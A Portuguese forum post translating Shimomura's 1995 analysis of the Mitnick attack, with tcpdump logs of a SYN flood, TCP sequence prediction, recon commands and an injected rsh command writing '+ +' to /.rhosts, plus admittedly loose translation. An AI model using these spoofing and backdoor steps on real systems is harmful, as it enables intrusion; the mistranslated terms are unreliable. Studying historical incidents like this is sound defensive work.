Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Como Mitnick invadiu Tsutomu Shimomura com um ataque de sequência de IP (Inédito)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Matéria Como Mitnick invadiu Tsutomu Shimomura com um ataque de sequência de IP (Inédito)

    Parece haver até hoje, muita confusão sobre a trapaça de endereço IP e os ataques de conexão clandestina descritos pelo artigo NYT, em 23/01/95, de John Markoff e na advertência CERT CA-95:01. Estão aqui alguns detalhes técnicos da minha apresentados, em 11/01/95, na CMAD 3 em Sonoma, Califórnia. Esperançosamente isto ajudará a esclarecer todos os desentendimentos a respeito da natureza destes ataques.
    Dois mecanismos de ataque diferentes foram usados. A trapaça de fonte do endereço IP e
    a predição da sequência TPC de números foram usadas para obter o acesso inicial a uma estação de trabalho obsoleta (diskless quer dizer ¨sem disco¨, mas não entendi, então botei a palavra ¨obsoleta¨ no lugar) que estava sendo usada, em sua maior parte, como um terminal X. Depois que o acesso root foi obtido, uma conexão existente para outro sistema foi afetada por meio de um módulo STREAMS carregável do kernel.
    Incluso nesta nota estão partes de logs dos pacotes atuais do tcpdump gerados por esse
    ataque. No interesse da clareza (e brevidade!), algumas informações foram omitidas. Eu recomendo bastante os papéis e postais sobre trapaça de IP, de Steve Bellovin, onde ele descreve em mais detalhes a semântica do TCP handshake (alguém precisa traduzir ¨handshake¨ pra mim. Nunca fiz curso de inglês), assim como dá algumas sugestões de como vencer este ataque.

    A configuração é a seguinte:

    servidor = um SPARCstation rodando um Solaris 1 servindo meu ¨terminal X¨
    x-terminal = Um SPARCstation rodando um Solaris 1
    alvo = o aparente primeiro alvo do ataque

    O ataque de trapaça de IP começou, mais ou menos, às 14:09:32 PST, em 25/12/94. As primeiras tentativas foram de toad.com (essa informação derivada do log dos pacotes):

    14:09:32 toad.com# finger -l @target
    14:10:21 toad.com# finger -l @server
    14:10:50 toad.com# finger -l root@server
    14:11:07 toad.com# finger -l @x-terminal
    14:11:38 toad.com# showmount -e x-terminal
    14:11:49 toad.com# rpcinfo -p x-terminal
    14:12:05 toad.com# finger -l root@x-terminal

    O aparente propósito dessas tentativas é determinar se poderia haver algum tipo de relacionamento de confiança nesses sistemas que poderia ser explorado por um ataque de trapaça de IP. Os números das portas fonte para o showmount e rpcinfo indicam que o atacante é root em toad.com.

    Cerca de seis minutos depois, nós vemos uma cachoeira (não sei traduzir a palavra ¨flurry¨, então ficou ¨cachoeira¨ no lugar) de TCP SYNs (requisição inicial de conexão) de 130.92.6.97 para a porta 513 (login) no servidor. A finalidade desses SYNs é lotar a fila de conexão para a porta 513 no servidor com conexões ¨entre-abertas¨, então ela não vai responder a qualquer nova requisição de conexão. Em particular, isso não vai gerar TCP RSTs em resposta a SYN-ACKs inexperados.

    A porta 513 é também uma porta ¨privilegiada¨ (< IPPORT_RESERVED), o server.login agora pode ser seguramente usado como a fonte putativa para um ataque de endereço trapaçeado no UNIX ¨r-services¨ (rsh, rlogin). 130.92.6.97 parece ser um endereço randômico (forjado) não usado (um que não gerará nenhuma resposta aos pacotes emitidos a ele):

    14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096
    14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
    14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
    14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
    14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
    14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
    14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
    14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096
    14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
    14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
    14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
    14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096
    14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096
    14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096
    14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096
    14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096
    14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096
    14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096
    14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096
    14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096
    14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096
    14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096
    14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096
    14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096
    14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096
    14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096
    14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096
    14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096
    14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096
    14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

    o servidor gerou SYN-ACKs para os primeiros oito pedidos de SYN antes da fila de conexão encher-se. o servidor irá retransmitir periodicamente esses SYN-ACKs.

    Nós agora vemos 20 tentativas de conexão de apollo.it.luc.edu para x-terminal.shell. O objetivo dessas tentativas é determinar o comportamento do gerador de números de sequência TCP x-terminal. Note que os números de sequência iniciais são incrementados por um a cada conexão, indicando que os pacotes SYN *não* estão sendo gerados pela implementação TCP do sistema. Isso resulta em RSTs convenientemente sendo gerados em resposta a cada SYN-ACK inexperado, então a fila de conexão no x-terminal não irá mais encher.

    14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096
    14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096
    14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0
    14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096
    14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096
    14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
    14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
    14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096
    14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096
    14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0
    14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096
    14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096
    14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0
    14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096
    14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096
    14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0
    14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096
    14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096
    14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0
    14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096
    14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096
    14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
    14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
    14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096
    14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096
    14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0
    14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096
    14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096
    14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0
    14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096
    14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096
    14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0
    14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096
    14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096
    14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0
    14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096
    14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096
    14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0
    14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096
    14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096
    14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0
    14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096
    14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096
    14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0
    14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096
    14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096
    14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0
    14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096
    14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096
    14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0
    14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096
    14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096
    14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0
    14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096
    14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096
    14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0
    14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096
    14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096
    14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0
    14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096
    14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096
    14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

    Note que cada pacote SYN-ACK emitido pelo x-terminal tem um número de sequência inicial que é 128,000 maior que o anterior.

    Nós agora vemos um SYN forjado (requisição de conexão), alegada pelo server.login ao x-terminal.shell. Supõe-se que esse x-terminal provavelmente confia no servidor, então o x-terminal irá fazer tudo o que o server (ou qualquer coisa mascarada como o servidor) mandar.

    O x-terminal então responderá ao servidor com um SYN-ACK, deve responder em ACK para que a conexão seja aberta. Porque o servidor está ignorando os pacotes emitidos ao server.login, o ACK deve ser forjado também.

    Normalmente o número da sequência do SYN-ACK é requerida em ordem para gerar um ACK válido. Entretanto, o atacante pode predizer o número da sequência contido no SYN-ACK baseado no comportamento conhecido do gerador do número de sequência TCP do x-terminal, e pode assim chegar ao ACK do SYN-ACK sem vê-lo.

    14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
    14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

    A máquina da trapaça tem agora uma conexão de sentido única ao x-terminal.shell que parece ser de server.login. Isso pode manter a conexão e emitir dados, contanto que possa propriamente ACK todos os dados enviados pelo x-terminal. Isso envia o seguinte:

    14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
    14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
    14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

    que corresponde a:
    14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

    Tempo total passado desde o primeiro pacote trapaçeado: < 16 segundos

    A conexão trapaçeada agora é fechada:

    14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096
    14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096
    14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
    14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
    14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

    Nós agora vemos RSTs para restaurar as conexões ¨entre-abertas¨ e esvaziar a fila de conexão para server.login:

    14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
    14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
    14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
    14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
    14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
    14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
    14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
    14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
    14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096
    14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
    14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
    14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
    14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
    14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096
    14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
    14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
    14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
    14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
    14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
    14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
    14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
    14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
    14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
    14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
    14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
    14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
    14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
    14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
    14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
    14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

    o server.login pode novamente receber conexões.

    Depois que o acesso root foi conseguido via trapaça de endereço IP, um módulo do kernel chamado ¨tap=2.01¨ foi compilado e instalado no x-terminal:

    x-terminal% modstat
    Id Type Loadaddr Size B-major C-major Sysnum Mod Name
    1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha

    x-terminal% ls -l /dev/tap
    crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

    Isso parece ser um módulo STREAMS do kernel que pode ser empurrado em uma pilha STREAMS existente e usado para manter o controle de um dispositivo tty. Isso foi usado para conseguir o controle de uma sessão de login já autenticada para o alvo entre as 14:51 PST.

    É claro, nenhum ataque pode estar completo sem um toque pessoal. Olhe só:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Esses estão em formato de arquivo de audio Sun, 8-bit u-law, taxa de amostra de 8 khz.


    Interessante não?!

    See you

    M1r4g3
    Skype: diego.endrygo

    -------------------------------------------------------


    É meu fã? Use minha fan bar ^^






    Quer ajudar nossso fórum e não sabe como?
    Então click na imagem e ajude-nos com os links off
    --------------------------------------------------------

    Sem tempo ou idéias para seus trabalhos escolares/acadêmicos, TCCs, Monografia, projetos, relatórios e afins:

    www.trabalhofacil.com

    Trabalhos rápidos e únicos, só aqui!
    Similar Threads

  • Font Size
    #2
    m1r4g3 só vou dar uma maozinha
    handshake, é comumente conhecido como "aperto de mão",
    seria como as máquinas dizem "oi como vai?" em uma comunicação TCP.

    Comment


    • Font Size
      #3
      Desculpe descrevi o handshake incompletamente,
      Na verdade seria como a máquina dizer
      "Oi como vai?Posso me comunicar com Você?"

      Comment


      • Font Size
        #4
        muito bom isso!!! valeu

        Comment

        X
        Working...
        X